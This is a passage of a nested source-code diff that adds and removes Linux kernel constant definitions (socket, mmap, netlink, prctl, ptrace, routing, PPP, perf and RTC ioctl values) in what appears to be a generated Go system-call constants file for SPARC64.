-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
- ISIG = 0x1
-- ISTRIP = 0x20
- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
- IXOFF = 0x1000
- IXON = 0x400
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
- MAP_ANON = 0x20
- MAP_ANONYMOUS = 0x20
- MAP_DENYWRITE = 0x800
- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
- MAP_GROWSDOWN = 0x200
- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
- MAP_LOCKED = 0x100
- MAP_NONBLOCK = 0x10000
- MAP_NORESERVE = 0x40
- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
- MAP_RENAME = 0x20
-- MAP_SHARED = 0x1
- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-+ MAP_SYNC = 0x80000
- MCL_CURRENT = 0x2000
- MCL_FUTURE = 0x4000
- MCL_ONFAULT = 0x8000
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-+ NFDBITS = 0x40
- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
- OLCUC = 0x2
- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
- O_APPEND = 0x8
- O_ASYNC = 0x40
- O_CLOEXEC = 0x400000
-@@ -926,231 +143,67 @@ const (
- O_NOFOLLOW = 0x20000
- O_NONBLOCK = 0x4000
- O_PATH = 0x1000000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
- O_RSYNC = 0x802000
- O_SYNC = 0x802000
- O_TMPFILE = 0x2010000
- O_TRUNC = 0x400
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
- PARODD = 0x200
- PENDIN = 0x4000
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
- PTRACE_GETFPAREGS = 0x14
- PTRACE_GETFPREGS = 0xe
- PTRACE_GETFPREGS64 = 0x19
-- PTRACE_GETREGS = 0xc
- PTRACE_GETREGS64 = 0x16
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
- PTRACE_READDATA = 0x10
- PTRACE_READTEXT = 0x12
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
- PTRACE_SETFPAREGS = 0x15
- PTRACE_SETFPREGS = 0xf
- PTRACE_SETFPREGS64 = 0x1a
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
- PTRACE_SETREGS64 = 0x17
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SINGLESTEP = 0x9
- PTRACE_SPARC_DETACH = 0xb
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
- PTRACE_WRITEDATA = 0x11
- PTRACE_WRITETEXT = 0x13
- PT_FP = 0x48
-@@ -1202,329 +255,98 @@ const (
- PT_WIM = 0x10
- PT_Y = 0xc
- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x8
- RLIMIT_NOFILE = 0x6
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x18
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x11
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
